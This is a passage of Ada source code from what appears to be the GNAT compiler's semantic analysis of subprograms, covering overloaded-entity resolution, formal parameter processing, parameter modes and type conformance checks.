the name of an abstract state. The -- state can be viewed as a function with a profile that cannot -- be matched by anything. elsif Ekind (S) = E_Function and then Ekind (E) = E_Abstract_State then Enter_Overloaded_Entity (S); return; -- Ada 2012 (AI05-0165): For internally generated bodies of null -- procedures locate the internally generated spec. We enforce -- mode conformance since a tagged type may inherit from -- interfaces several null primitives which differ only in -- the mode of the formals. elsif not Comes_From_Source (S) and then Is_Null_Procedure (S) and then not Mode_Conformant (E, S) then null; -- Check if we have type conformance elsif Type_Conformant (E, S) then -- If the old and new entities have the same profile and one -- is not the body of the other, then this is an error, unless -- one of them is implicitly declared. -- There are some cases when both can be implicit, for example -- when both a literal and a function that overrides it are -- inherited in a derivation, or when an inherited operation -- of a tagged full type overrides the inherited operation of -- a private extension. Ada 83 had a special rule for the -- literal case. In Ada 95, the later implicit operation hides -- the former, and the literal is always the former. In the -- odd case where both are derived operations declared at the -- same point, both operations should be declared, and in that -- case we bypass the following test and proceed to the next -- part. This can only occur for certain obscure cases in -- instances, when an operation on a type derived from a formal -- private type does not override a homograph inherited from -- the actual. In subsequent derivations of such a type, the -- DT positions of these operations remain distinct, if they -- have been set. if Present (Alias (S)) and then (No (Alias (E)) or else Comes_From_Source (E) or else Is_Abstract_Subprogram (S) or else (Is_Dispatching_Operation (E) and then Is_Overriding_Alias (E, S))) and then Ekind (E) /= E_Enumeration_Literal then -- When an derived operation is overloaded it may be due to -- the fact that the full view of a private extension -- re-inherits. It has to be dealt with. if Is_Package_Or_Generic_Package (Current_Scope) and then In_Private_Part (Current_Scope) then Check_Operation_From_Private_View (S, E); end if; -- In any case the implicit operation remains hidden by the -- existing declaration, which is overriding. Indicate that -- E overrides the operation from which S is inherited. if Present (Alias (S)) then Set_Overridden_Operation (E, Alias (S)); Inherit_Subprogram_Contract (E, Alias (S)); Set_Is_Ada_2022_Only (E, Is_Ada_2022_Only (Alias (S))); else Set_Overridden_Operation (E, S); Inherit_Subprogram_Contract (E, S); Set_Is_Ada_2022_Only (E, Is_Ada_2022_Only (S)); end if; -- When a dispatching operation overrides an inherited -- subprogram, it shall be subtype conformant with the -- inherited subprogram (RM 3.9.2 (10.2)). if Comes_From_Source (E) and then Is_Dispatching_Operation (E) and then Find_Dispatching_Type (S) = Find_Dispatching_Type (E) then Check_Subtype_Conformant (E, S); end if; if Comes_From_Source (E) then Check_Overriding_Indicator (E, S, Is_Primitive => False); -- The Ghost policy in effect at the point of declaration -- of a parent subprogram and an overriding subprogram -- must match (SPARK RM 6.9(17)). Check_Ghost_Overriding (E, S); end if; return; -- Within an instance, the renaming declarations for actual -- subprograms may become ambiguous, but they do not hide each -- other. elsif Ekind (E) /= E_Entry and then not Comes_From_Source (E) and then not Is_Generic_Instance (E) and then (Present (Alias (E)) or else Is_Intrinsic_Subprogram (E)) and then (not In_Instance or else No (Parent (E)) or else Nkind (Unit_Declaration_Node (E)) /= N_Subprogram_Renaming_Declaration) then -- A subprogram child unit is not allowed to override an -- inherited subprogram (10.1.1(20)). if Is_Child_Unit (S) then Error_Msg_N ("child unit overrides inherited subprogram in parent", S); return; end if; if Is_Non_Overriding_Operation (E, S) then Enter_Overloaded_Entity (S); if No (Derived_Type) or else Is_Tagged_Type (Derived_Type) then Check_Dispatching_Operation (S, Empty); end if; return; end if; -- E is a derived operation or an internal operator which -- is being overridden. Remove E from further visibility. -- Furthermore, if E is a dispatching operation, it must be -- replaced in the list of primitive operations of its type -- (see Override_Dispatching_Operation). Overridden_Subp := E; -- It is possible for E to be in the current scope and -- yet not in the entity chain. This can only occur in a -- generic context where E is an implicit concatenation -- in the formal part, because in a generic body the -- entity chain starts with the formals. -- In GNATprove mode, a wrapper for an operation with -- axiomatization may be a homonym of another declaration -- for an actual subprogram (needs refinement ???). if No (Prev_Entity (E)) then if In_Instance and then GNATprove_Mode and then Nkind (Original_Node (Unit_Declaration_Node (S))) = N_Subprogram_Renaming_Declaration then return; else pragma Assert (Chars (E) = Name_Op_Concat); null; end if; end if; -- E must be removed both from the entity_list of the -- current scope, and from the visibility chain. if Debug_Flag_E then Write_Str ("Override implicit operation "); Write_Int (Int (E)); Write_Eol; end if; -- If E is a predefined concatenation, it stands for four -- different operations. As a result, a single explicit -- declaration does not hide it. In a possible ambiguous -- situation, Disambiguate chooses the user-defined op, -- so it is correct to retain the previous internal one. if Chars (E) /= Name_Op_Concat or else Ekind (E) /= E_Operator then -- For nondispatching derived operations that are -- overridden by a subprogram declared in the private -- part of a package, we retain the derived subprogram -- but mark it as not immediately visible. If the -- derived operation was declared in the visible part -- then this ensures that it will still be visible -- outside the package with the proper signature -- (calls from outside must also be directed to this -- version rather than the overriding one, unlike the -- dispatching case). Calls from inside the package -- will still resolve to the overriding subprogram -- since the derived one is marked as not visible -- within the package. -- If the private operation is dispatching, we achieve -- the overriding by keeping the implicit operation -- but setting its alias to be the overriding one. In -- this fashion the proper body is executed in all -- cases, but the original signature is used outside -- of the package. -- If the overriding is not in the private part, we -- remove the implicit operation altogether. if Is_Private_Declaration (S) then if not Is_Dispatching_Operation (E) then Set_Is_Immediately_Visible (E, False); else -- Work done in Override_Dispatching_Operation, so -- nothing else needs to be done here. null; end if; else Remove_Entity_And_Homonym (E); end if; end if; Enter_Overloaded_Entity (S); -- For entities generated by Derive_Subprograms the -- overridden operation is the inherited primitive -- (which is available through the attribute alias). if not (Comes_From_Source (E)) and then Is_Dispatching_Operation (E) and then Find_Dispatching_Type (E) = Find_Dispatching_Type (S) and then Present (Alias (E)) and then Comes_From_Source (Alias (E)) then Set_Overridden_Operation (S, Alias (E)); Inherit_Subprogram_Contract (S, Alias (E)); Set_Is_Ada_2022_Only (S, Is_Ada_2022_Only (Alias (E))); -- Normal case of setting entity as overridden -- Note: Static_Initialization and Overridden_Operation -- attributes use the same field in subprogram entities. -- Static_Initialization is only defined for internal -- initialization procedures, where Overridden_Operation -- is irrelevant. Therefore the setting of this attribute -- must check whether the target is an init_proc. elsif not Is_Init_Proc (S) then -- LSP wrappers must override the ultimate alias of their -- wrapped dispatching primitive E; required to traverse -- the chain of ancestor primitives (c.f. Map_Primitives) -- They don't inherit contracts. if Is_Wrapper (S) and then Present (LSP_Subprogram (S)) then Set_Overridden_Operation (S, Ultimate_Alias (E)); else Set_Overridden_Operation (S, E); Inherit_Subprogram_Contract (S, E); end if; Set_Is_Ada_2022_Only (S, Is_Ada_2022_Only (E)); end if; Check_Overriding_Indicator (S, E, Is_Primitive => True); -- The Ghost policy in effect at the point of declaration -- of a parent subprogram and an overriding subprogram -- must match (SPARK RM 6.9(17)). Check_Ghost_Overriding (S, E); -- If S is a user-defined subprogram or a null procedure -- expanded to override an inherited null procedure, or a -- predefined dispatching primitive then indicate that E -- overrides the operation from which S is inherited. if Comes_From_Source (S) or else (Present (Parent (S)) and then Nkind (Parent (S)) = N_Procedure_Specification and then Null_Present (Parent (S))) or else (Present (Alias (E)) and then Is_Predefined_Dispatching_Operation (Alias (E))) then if Present (Alias (E)) then -- LSP wrappers must override the ultimate alias of -- their wrapped dispatching primitive E; required to -- traverse the chain of ancestor primitives (see -- Map_Primitives). They don't inherit contracts. if Is_Wrapper (S) and then Present (LSP_Subprogram (S)) then Set_Overridden_Operation (S, Ultimate_Alias (E)); else Set_Overridden_Operation (S, Alias (E)); Inherit_Subprogram_Contract (S, Alias (E)); end if; Set_Is_Ada_2022_Only (S, Is_Ada_2022_Only (Alias (E))); end if; end if; if Is_Dispatching_Operation (E) then -- An overriding dispatching subprogram inherits the -- convention of the overridden subprogram (AI-117). Set_Convention (S, Convention (E)); Check_Dispatching_Operation (S, E); else Check_Dispatching_Operation (S, Empty); end if; Check_For_Primitive_Subprogram (Is_Primitive_Subp, Is_Overriding => True); goto Check_Inequality; -- Apparent redeclarations in instances can occur when two -- formal types get the same actual type. The subprograms in -- in the instance are legal, even if not callable from the -- outside. Calls from within are disambiguated elsewhere. -- For dispatching operations in the visible part, the usual -- rules apply, and operations with the same profile are not -- legal (B830001). elsif (In_Instance_Visible_Part and then not Is_Dispatching_Operation (E)) or else In_Instance_Not_Visible then null; -- Here we have a real error (identical profile) else Error_Msg_Sloc := Sloc (E); -- Avoid cascaded errors if the entity appears in -- subsequent calls. Set_Scope (S, Current_Scope); -- Generate error, with extra useful warning for the case -- of a generic instance with no completion. if Is_Generic_Instance (S) and then not Has_Completion (E) then Error_Msg_N ("instantiation cannot provide body for&", S); Error_Msg_N ("\& conflicts with declaration#", S); else Error_Msg_N ("& conflicts with declaration#", S); end if; return; end if; else -- If one subprogram has an access parameter and the other -- a parameter of an access type, calls to either might be -- ambiguous. Verify that parameters match except for the -- access parameter. if May_Hide_Profile then declare F1 : Entity_Id; F2 : Entity_Id; begin F1 := First_Formal (S); F2 := First_Formal (E); while Present (F1) and then Present (F2) loop if Is_Access_Type (Etype (F1)) then if not Is_Access_Type (Etype (F2)) or else not Conforming_Types (Designated_Type (Etype (F1)), Designated_Type (Etype (F2)), Type_Conformant) then May_Hide_Profile := False; end if; elsif not Conforming_Types (Etype (F1), Etype (F2), Type_Conformant) then May_Hide_Profile := False; end if; Next_Formal (F1); Next_Formal (F2); end loop; if May_Hide_Profile and then No (F1) and then No (F2) then Error_Msg_NE ("calls to& may be ambiguous??", S, S); end if; end; end if; end if; E := Homonym (E); end loop; -- On exit, we know that S is a new entity Enter_Overloaded_Entity (S); Check_For_Primitive_Subprogram (Is_Primitive_Subp); Check_Overriding_Indicator (S, Overridden_Subp, Is_Primitive => Is_Primitive_Subp); -- The Ghost policy in effect at the point of declaration of a parent -- subprogram and an overriding subprogram must match -- (SPARK RM 6.9(17)). Check_Ghost_Overriding (S, Overridden_Subp); -- If S is a derived operation for an untagged type then by -- definition it's not a dispatching operation (even if the parent -- operation was dispatching), so Check_Dispatching_Operation is not -- called in that case. if No (Derived_Type) or else Is_Tagged_Type (Derived_Type) then Check_Dispatching_Operation (S, Empty); end if; end if; -- If this is a user-defined equality operator that is not a derived -- subprogram, create the corresponding inequality. If the operation is -- dispatching, the expansion is done elsewhere, and we do not create -- an explicit inequality operation. <<Check_Inequality>> if Chars (S) = Name_Op_Eq and then Etype (S) = Standard_Boolean and then Present (Parent (S)) and then not Is_Dispatching_Operation (S) then Make_Inequality_Operator (S); Check_Untagged_Equality (S); end if; end New_Overloaded_Entity; ---------------------------------- -- Preanalyze_Formal_Expression -- ---------------------------------- procedure Preanalyze_Formal_Expression (N : Node_Id; T : Entity_Id) is Save_In_Spec_Expression : constant Boolean := In_Spec_Expression; begin In_Spec_Expression := True; Preanalyze_With_Freezing_And_Resolve (N, T); In_Spec_Expression := Save_In_Spec_Expression; end Preanalyze_Formal_Expression; --------------------- -- Process_Formals -- --------------------- procedure Process_Formals (T : List_Id; Related_Nod : Node_Id) is function Designates_From_Limited_With (Typ : Entity_Id) return Boolean; -- Determine whether an access type designates a type coming from a -- limited view. function Is_Class_Wide_Default (D : Node_Id) return Boolean; -- Check whether the default has a class-wide type. After analysis the -- default has the type of the formal, so we must also check explicitly -- for an access attribute. ---------------------------------- -- Designates_From_Limited_With -- ---------------------------------- function Designates_From_Limited_With (Typ : Entity_Id) return Boolean is Desig : Entity_Id := Typ; begin if Is_Access_Type (Desig) then Desig := Directly_Designated_Type (Desig); end if; if Is_Class_Wide_Type (Desig) then Desig := Root_Type (Desig); end if; return Ekind (Desig) = E_Incomplete_Type and then From_Limited_With (Desig); end Designates_From_Limited_With; --------------------------- -- Is_Class_Wide_Default -- --------------------------- function Is_Class_Wide_Default (D : Node_Id) return Boolean is begin return Is_Class_Wide_Type (Designated_Type (Etype (D))) or else (Nkind (D) = N_Attribute_Reference and then Attribute_Name (D) = Name_Access and then Is_Class_Wide_Type (Etype (Prefix (D)))); end Is_Class_Wide_Default; -- Local variables Context : constant Node_Id := Parent (Parent (T)); Default : Node_Id; Formal : Entity_Id; Formal_Type : Entity_Id; Param_Spec : Node_Id; Ptype : Entity_Id; Num_Out_Params : Nat := 0; First_Out_Param : Entity_Id := Empty; -- Used for setting Is_Only_Out_Parameter -- Start of processing for Process_Formals begin -- In order to prevent premature use of the formals in the same formal -- part, the Ekind is left undefined until all default expressions are -- analyzed. The Ekind is established in a separate loop at the end. Param_Spec := First (T); while Present (Param_Spec) loop Formal := Defining_Identifier (Param_Spec); Set_Never_Set_In_Source (Formal, True); Enter_Name (Formal); -- Case of ordinary parameters if Nkind (Parameter_Type (Param_Spec)) /= N_Access_Definition then Find_Type (Parameter_Type (Param_Spec)); Ptype := Parameter_Type (Param_Spec); if Ptype = Error then goto Continue; end if; -- Protect against malformed parameter types if Nkind (Ptype) not in N_Has_Entity then Formal_Type := Any_Type; else Formal_Type := Entity (Ptype); end if; if Is_Incomplete_Type (Formal_Type) or else (Is_Class_Wide_Type (Formal_Type) and then Is_Incomplete_Type (Root_Type (Formal_Type))) then -- Ada 2005 (AI-326): Tagged incomplete types allowed in -- primitive operations, as long as their completion is -- in the same declarative part. If in the private part -- this means that the type cannot be a Taft-amendment type. -- Check is done on package exit. For access to subprograms, -- the use is legal for Taft-amendment types. -- Ada 2012: tagged incomplete types are allowed as generic -- formal types. They do not introduce dependencies and the -- corresponding generic subprogram does not have a delayed -- freeze, because it does not need a freeze node. However, -- it is still the case that untagged incomplete types cannot -- be Taft-amendment types and must be completed in private -- part, so the subprogram must appear in the list of private -- dependents of the type. if Is_Tagged_Type (Formal_Type) or else (Ada_Version >= Ada_2012 and then not From_Limited_With (Formal_Type) and then not Is_Generic_Type (Formal_Type)) then if Ekind (Scope (Current_Scope)) = E_Package and then not Is_Generic_Type (Formal_Type) and then not Is_Class_Wide_Type (Formal_Type) then if Nkind (Parent (T)) not in N_Access_Function_Definition | N_Access_Procedure_Definition then Append_Elmt (Current_Scope, Private_Dependents (Base_Type (Formal_Type))); -- Freezing is delayed to ensure that Register_Prim -- will get called for this operation, which is needed -- in cases where static dispatch tables aren't built. -- (Note that the same is done for controlling access -- parameter cases in function Access_Definition.) if not Is_Thunk (Current_Scope) then Set_Has_Delayed_Freeze (Current_Scope); end if; end if; end if; elsif Nkind (Parent (T)) not in N_Access_Function_Definition | N_Access_Procedure_Definition then -- AI05-0151: Tagged incomplete types are allowed in all -- formal parts. Untagged incomplete types are not allowed -- in bodies. Limited views of either kind are not allowed -- if there is no place at which the non-limited view can -- become available. -- Incomplete formal untagged types are not allowed in -- subprogram bodies (but are legal in their declarations). -- This excludes bodies created for null procedures, which -- are basic declarations. if Is_Generic_Type (Formal_Type) and then not Is_Tagged_Type (Formal_Type) and then Nkind (Parent (Related_Nod)) = N_Subprogram_Body then Error_Msg_N ("invalid use of formal incomplete type", Param_Spec); elsif Ada_Version >= Ada_2012 then if Is_Tagged_Type (Formal_Type) and then (not From_Limited_With (Formal_Type) or else not In_Package_Body) then null; elsif Nkind (Context) in N_Accept_Statement | N_Accept_Alternative | N_Entry_Body or else (Nkind (Context) = N_Subprogram_Body and then Comes_From_Source (Context)) then Error_Msg_NE ("invalid use of untagged incomplete type &", Ptype, Formal_Type); end if; else Error_Msg_NE ("invalid use of incomplete type&", Param_Spec, Formal_Type); -- Further checks on the legality of incomplete types -- in formal parts are delayed until the freeze point -- of the enclosing subprogram or access to subprogram. end if; end if; elsif Ekind (Formal_Type) = E_Void then Error_Msg_NE ("premature use of&", Parameter_Type (Param_Spec), Formal_Type); end if; -- Ada 2012 (AI-142): Handle aliased parameters if Ada_Version >= Ada_2012 and then Aliased_Present (Param_Spec) then Set_Is_Aliased (Formal); -- AI12-001: All aliased objects are considered to be specified -- as independently addressable (RM C.6(8.1/4)). Set_Is_Independent (Formal); end if; -- Ada 2005 (AI-231): Create and decorate an internal subtype -- declaration corresponding to the null-excluding type of the -- formal in the enclosing scope. Finally, replace the parameter -- type of the formal with the internal subtype. if Ada_Version >= Ada_2005 and then Null_Exclusion_Present (Param_Spec) then if not Is_Access_Type (Formal_Type) then Error_Msg_N ("`NOT NULL` allowed only for an access type", Param_Spec); else if Can_Never_Be_Null (Formal_Type) and then Comes_From_Source (Related_Nod) then Error_Msg_NE ("`NOT NULL` not allowed (& already excludes null)", Param_Spec, Formal_Type); end if; Formal_Type := Create_Null_Excluding_Itype (T => Formal_Type, Related_Nod => Related_Nod, Scope_Id => Scope (Current_Scope)); -- If the designated type of the itype is an itype that is -- not frozen yet, we set the Has_Delayed_Freeze attribute -- on the access subtype, to prevent order-of-elaboration -- issues in the backend. -- Example: -- type T is access procedure; -- procedure Op (O : not null T); if Is_Itype (Directly_Designated_Type (Formal_Type)) and then not Is_Frozen (Directly_Designated_Type (Formal_Type)) then Set_Has_Delayed_Freeze (Formal_Type); end if; end if; end if; -- An access formal type else Formal_Type := Access_Definition (Related_Nod, Parameter_Type (Param_Spec)); -- No need to continue if we already notified errors if not Present (Formal_Type) then return; end if; -- Ada 2005 (AI-254) declare AD : constant Node_Id := Access_To_Subprogram_Definition (Parameter_Type (Param_Spec)); begin if Present (AD) and then Protected_Present (AD) then Formal_Type := Replace_Anonymous_Access_To_Protected_Subprogram (Param_Spec); end if; end; end if; Set_Etype (Formal, Formal_Type); -- Deal with default expression if present Default := Expression (Param_Spec); if Present (Default) then if Out_Present (Param_Spec) then Error_Msg_N ("default initialization only allowed for IN parameters", Param_Spec); end if; -- Do the special preanalysis of the expression (see section on -- "Handling of Default Expressions" in the spec of package Sem). Preanalyze_Formal_Expression (Default, Formal_Type); -- An access to constant cannot be the default for -- an access parameter that is an access to variable. if Ekind (Formal_Type) = E_Anonymous_Access_Type and then not Is_Access_Constant (Formal_Type) and then Is_Access_Type (Etype (Default)) and then Is_Access_Constant (Etype (Default)) then Error_Msg_N ("formal that is access to variable cannot be initialized " & "with an access-to-constant expression", Default); end if; -- Check that the designated type of an access parameter's default -- is not a class-wide type unless the parameter's designated type -- is also class-wide. if Ekind (Formal_Type) = E_Anonymous_Access_Type and then not Designates_From_Limited_With (Formal_Type) and then Is_Class_Wide_Default (Default) and then not Is_Class_Wide_Type (Designated_Type (Formal_Type)) then Error_Msg_N ("access to class-wide expression not allowed here", Default); end if; -- Check incorrect use of dynamically tagged expressions if Is_Tagged_Type (Formal_Type) then Check_Dynamically_Tagged_Expression (Expr => Default, Typ => Formal_Type, Related_Nod => Default); end if; end if; -- Ada 2005 (AI-231): Static checks if Ada_Version >= Ada_2005 and then Is_Access_Type (Etype (Formal)) and then Can_Never_Be_Null (Etype (Formal)) then Null_Exclusion_Static_Checks (Param_Spec); end if; -- The following checks are relevant only when SPARK_Mode is on as -- these are not standard Ada legality rules. if SPARK_Mode = On then if Ekind (Scope (Formal)) in E_Function | E_Generic_Function then -- A function cannot have a parameter of mode IN OUT or OUT -- (SPARK RM 6.1). if Ekind (Formal) in E_In_Out_Parameter | E_Out_Parameter then Error_Msg_N ("function cannot have parameter of mode `OUT` or " & "`IN OUT`", Formal); end if; -- A procedure cannot have an effectively volatile formal -- parameter of mode IN because it behaves as a constant -- (SPARK RM 7.1.3(4)). elsif Ekind (Scope (Formal)) = E_Procedure and then Ekind (Formal) = E_In_Parameter and then Is_Effectively_Volatile (Formal) then Error_Msg_N ("formal parameter of mode `IN` cannot be volatile", Formal); end if; end if; -- Deal with aspects on formal parameters. Only Unreferenced is -- supported for the time being. if Has_Aspects (Param_Spec) then declare Aspect : Node_Id := First (Aspect_Specifications (Param_Spec)); begin while Present (Aspect) loop if Chars (Identifier (Aspect)) = Name_Unreferenced then Set_Has_Pragma_Unreferenced (Formal); else Error_Msg_NE ("unsupported aspect& on parameter", Aspect, Identifier (Aspect)); end if; Next (Aspect); end loop; end; end if; <<Continue>> Next (Param_Spec); end loop; -- If this is the formal part of a function specification, analyze the -- subtype mark in the context where the formals are visible but not -- yet usable, and may hide outer homographs. if Nkind (Related_Nod) = N_Function_Specification then Analyze_Return_Type (Related_Nod); end if; -- Now set the kind (mode) of each formal Param_Spec := First (T); while Present (Param_Spec) loop Formal := Defining_Identifier (Param_Spec); Set_Formal_Mode (Formal); if Ekind (Formal) = E_In_Parameter then Set_Default_Value (Formal, Expression (Param_Spec)); if Present (Expression (Param_Spec)) then Default := Expression (Param_Spec); if Is_Scalar_Type (Etype (Default)) then if Nkind (Parameter_Type (Param_Spec)) /= N_Access_Definition then Formal_Type := Entity (Parameter_Type (Param_Spec)); else Formal_Type := Access_Definition (Related_Nod, Parameter_Type (Param_Spec)); end if; Apply_Scalar_Range_Check (Default, Formal_Type); end if; end if; elsif Ekind (Formal) = E_Out_Parameter then Num_Out_Params := Num_Out_Params + 1; if Num_Out_Params = 1 then First_Out_Param := Formal; end if; elsif Ekind (Formal) = E_In_Out_Parameter then Num_Out_Params := Num_Out_Params + 1; end if; -- Skip remaining processing if formal type was in error if Etype (Formal) = Any_Type or else Error_Posted (Formal) then goto Next_Parameter; end if; -- Force call by reference if aliased declare Conv : constant Convention_Id := Convention (Etype (Formal)); begin if Is_Aliased (Formal) then Set_Mechanism (Formal, By_Reference); -- Warn if user asked this to be passed by copy if Conv = Convention_Ada_Pass_By_Copy then Error_Msg_N ("cannot pass aliased parameter & by copy??", Formal); end if; -- Force mechanism if type has Convention Ada_Pass_By_Ref/Copy elsif Conv = Convention_Ada_Pass_By_Copy then Set_Mechanism (Formal, By_Copy); elsif Conv = Convention_Ada_Pass_By_Reference then Set_Mechanism (Formal, By_Reference); end if; end; <<Next_Parameter>> Next (Param_Spec); end loop; if Present (First_Out_Param) and then Num_Out_Params = 1 then Set_Is_Only_Out_Parameter (First_Out_Param); end if; end Process_Formals; ---------------------------- -- Reference_Body_Formals -- ---------------------------- procedure Reference_Body_Formals (Spec : Entity_Id; Bod : Entity_Id) is Fs : Entity_Id; Fb : Entity_Id; begin if Error_Posted (Spec) then return; end if; -- Iterate over both lists. They may be of different lengths if the two -- specs are not conformant. Fs := First_Formal (Spec); Fb := First_Formal (Bod); while Present (Fs) and then Present (Fb) loop Generate_Reference (Fs, Fb, 'b'); if Style_Check then Style.Check_Identifier (Fb, Fs); end if; Set_Spec_Entity (Fb, Fs); Set_Referenced (Fs, False); Next_Formal (Fs); Next_Formal (Fb); end loop; end Reference_Body_Formals; ------------------------- -- Set_Actual_Subtypes -- ------------------------- procedure Set_Actual_Subtypes (N : Node_Id; Subp : Entity_Id) is Decl : Node_Id; Formal : Entity_Id; T : Entity_Id; First_Stmt : Node_Id := Empty; AS_Needed : Boolean; begin -- If this is an empty initialization procedure, no need to create -- actual subtypes (small optimization). if Ekind (Subp) = E_Procedure and then Is_Null_Init_Proc (Subp) then return; -- Within a predicate function we do not want to generate local -- subtypes that may generate nested predicate functions. elsif Is_Subprogram (Subp) and then Is_Predicate_Function (Subp) then return; end if; -- The subtype declarations may freeze the formals. The body generated -- for an expression function is not a freeze point, so do not emit -- these declarations (small loss of efficiency in rare cases). if Nkind (N) = N_Subprogram_Body and then Was_Expression_Function (N) then return; end if; Formal := First_Formal (Subp); while Present (Formal) loop T := Etype (Formal); -- We never need an actual subtype for a constrained formal if Is_Constrained (T) then AS_Needed := False; -- If we have unknown discriminants, then we do not need an actual -- subtype, or more accurately we cannot figure it out. Note that -- all class-wide types have unknown discriminants. elsif Has_Unknown_Discriminants (T) then AS_Needed := False; -- At this stage we have an unconstrained type that may need an -- actual subtype. For sure the actual subtype is needed if we have -- an unconstrained array type. However, in an instance, the type -- may appear as a subtype of the full view, while the actual is -- in fact private (in which case no actual subtype is needed) so -- check the kind of the base type. elsif Is_Array_Type (Base_Type (T)) then AS_Needed := True; -- The only other case needing an actual subtype is an unconstrained -- record type which is an IN parameter (we cannot generate actual -- subtypes for the OUT or IN OUT case, since an assignment can -- change the discriminant values. However we exclude the case of -- initialization procedures, since discriminants are handled very -- specially in this context, see the section entitled "Handling of -- Discriminants" in Einfo. -- We also exclude the case of Discrim_SO_Functions (functions used -- in front-end layout mode for size/offset values), since in such -- functions only discriminants are referenced, and not only are such -- subtypes not needed, but they cannot always be generated, because -- of order of elaboration issues. elsif Is_Record_Type (T) and then Ekind (Formal) = E_In_Parameter and then Chars (Formal) /= Name_uInit and then not Is_Unchecked_Union (T) and then not Is_Discrim_SO_Function (Subp) then AS_Needed := True; -- All other cases do not need an actual subtype else AS_Needed := False; end if; -- Generate actual subtypes for unconstrained arrays and -- unconstrained discriminated records. if AS_Needed then if Nkind (N) = N_Accept_Statement then -- If expansion is active, the formal is replaced by a local -- variable that renames the corresponding entry of the -- parameter block, and it is this local variable that may -- require an actual subtype. if Expander_Active then Decl := Build_Actual_Subtype (T, Renamed_Object (Formal)); else Decl := Build_Actual_Subtype (T, Formal); end if; if Present (Handled_Statement_Sequence (N)) then First_Stmt := First (Statements (Handled_Statement_Sequence (N))); Prepend (Decl, Statements (Handled_Statement_Sequence (N))); Mark_Rewrite_Insertion (Decl); else -- If the accept statement has no body, there will be no -- reference to the actuals, so no need to compute actual -- subtypes. return; end if; else Decl := Build_Actual_Subtype (T, Formal); Prepend (Decl, Declarations (N)); Mark_Rewrite_Insertion (Decl); end if; -- The declaration uses the bounds of an existing object, and -- therefore needs no constraint checks. Analyze (Decl, Suppress => All_Checks); Set_Is_Actual_Subtype (Defining_Identifier (Decl)); -- We need to freeze manually the generated type when it is -- inserted anywhere else than in a declarative part. if Present (First_Stmt) then Insert_List_Before_And_Analyze (First_Stmt, Freeze_Entity (Defining_Identifier (Decl), N)); -- Ditto if the type has a dynamic predicate, because the -- generated function will mention the actual subtype. The -- predicate may come from an explicit aspect of be inherited. elsif Has_Predicates (T) then Insert_List_After_And_Analyze (Decl, Freeze_Entity (Defining_Identifier (Decl), N)); end if; if Nkind (N) = N_Accept_Statement and then Expander_Active then Set_Actual_Subtype (Renamed_Object (Formal), Defining_Identifier (Decl)); else Set_Actual_Subtype (Formal, Defining_Identifier (Decl)); end if; end if; Next_Formal (Formal); end loop; end Set_Actual_Subtypes; --------------------- -- Set_Formal_Mode -- --------------------- procedure Set_Formal_Mode (Formal_Id : Entity_Id) is Spec : constant Node_Id := Parent (Formal_Id); Id : constant Entity_Id := Scope (Formal_Id); begin -- Note: we set Is_Known_Valid for IN parameters and IN OUT parameters -- since we ensure that corresponding actuals are always valid at the -- point of the call. if Out_Present (Spec) then if Is_Entry (Id) or else Is_Subprogram_Or_Generic_Subprogram (Id) then Set_Has_Out_Or_In_Out_Parameter (Id, True); end if; if Ekind (Id) in E_Function | E_Generic_Function then -- [IN] OUT parameters allowed for functions in Ada 2012 if Ada_Version >= Ada_2012 then -- Even in Ada 2012 operators can only have IN parameters if Is_Operator_Symbol_Name (Chars (Scope (Formal_Id))) then Error_Msg_N ("operators can only have IN parameters", Spec); end if; if In_Present (Spec) then Mutate_Ekind (Formal_Id, E_In_Out_Parameter); else Mutate_Ekind (Formal_Id, E_Out_Parameter); end if; -- But not in earlier versions of Ada else Error_Msg_N ("functions can only have IN parameters", Spec); Mutate_Ekind (Formal_Id, E_In_Parameter); end if; elsif In_Present (Spec) then Mutate_Ekind (Formal_Id, E_In_Out_Parameter); else Mutate_Ekind (Formal_Id, E_Out_Parameter); Set_Never_Set_In_Source (Formal_Id, True); Set_Is_True_Constant (Formal_Id, False); Set_Current_Value (Formal_Id, Empty); end if; else Mutate_Ekind (Formal_Id, E_In_Parameter); end if; -- Set Is_Known_Non_Null for access parameters since the language -- guarantees that access parameters are always non-null. We also set -- Can_Never_Be_Null, since there is no way to change the value. if Nkind (Parameter_Type (Spec)) = N_Access_Definition then -- Ada 2005 (AI-231): In Ada 95, access parameters are always non- -- null; In Ada 2005, only if then null_exclusion is explicit. if Ada_Version < Ada_2005 or else Can_Never_Be_Null (Etype (Formal_Id)) then Set_Is_Known_Non_Null (Formal_Id); Set_Can_Never_Be_Null (Formal_Id); end if; -- Ada 2005 (AI-231): Null-exclusion access subtype elsif Is_Access_Type (Etype (Formal_Id)) and then Can_Never_Be_Null (Etype (Formal_Id)) then Set_Is_Known_Non_Null (Formal_Id); -- We can also set Can_Never_Be_Null (thus preventing some junk -- access checks) for the case of an IN parameter, which cannot -- be changed, or for an IN OUT parameter, which can be changed but -- not to a null value. But for an OUT parameter, the initial value -- passed in can be null, so we can't set this flag in that case. if Ekind (Formal_Id) /= E_Out_Parameter then Set_Can_Never_Be_Null (Formal_Id); end if; end if; Set_Mechanism (Formal_Id, Default_Mechanism); Set_Formal_Validity (Formal_Id); end Set_Formal_Mode; ------------------------- -- Set_Formal_Validity -- ------------------------- procedure Set_Formal_Validity (Formal_Id : Entity_Id) is begin -- If no validity checking, then we cannot assume anything about the -- validity of parameters, since we do not know there is any checking -- of the validity on the call side. if not Validity_Checks_On then return; -- If validity checking for parameters is enabled, this means we are -- not supposed to make any assumptions about argument values. elsif Validity_Check_Parameters then return; -- If we are checking in parameters, we will assume that the caller is -- also checking parameters, so we can assume the parameter is valid. elsif Ekind (Formal_Id) = E_In_Parameter and then Validity_Check_In_Params then Set_Is_Known_Valid (Formal_Id, True); -- Similar treatment for IN OUT parameters elsif Ekind (Formal_Id) = E_In_Out_Parameter and then Validity_Check_In_Out_Params then Set_Is_Known_Valid (Formal_Id, True); end if; end Set_Formal_Validity; ------------------------ -- Subtype_Conformant -- ------------------------ function Subtype_Conformant (New_Id : Entity_Id; Old_Id : Entity_Id; Skip_Controlling_Formals : Boolean := False) return Boolean is Result : Boolean; begin Check_Conformance (New_Id, Old_Id, Subtype_Conformant, False, Result, Skip_Controlling_Formals => Skip_Controlling_Formals); return Result; end Subtype_Conformant; --------------------- -- Type_Conformant -- --------------------- function Type_Conformant (New_Id : Entity_Id; Old_Id : Entity_Id; Skip_Controlling_Formals : Boolean := False) return Boolean is Result : Boolean; begin May_Hide_Profile := False; Check_Conformance (New_Id, Old_Id, Type_Conformant, False, Result, Skip_Controlling_Formals => Skip_Controlling_Formals); return Result; end Type_Conformant; ------------------------------- -- Valid_Operator_Definition -- ------------------------------- procedure 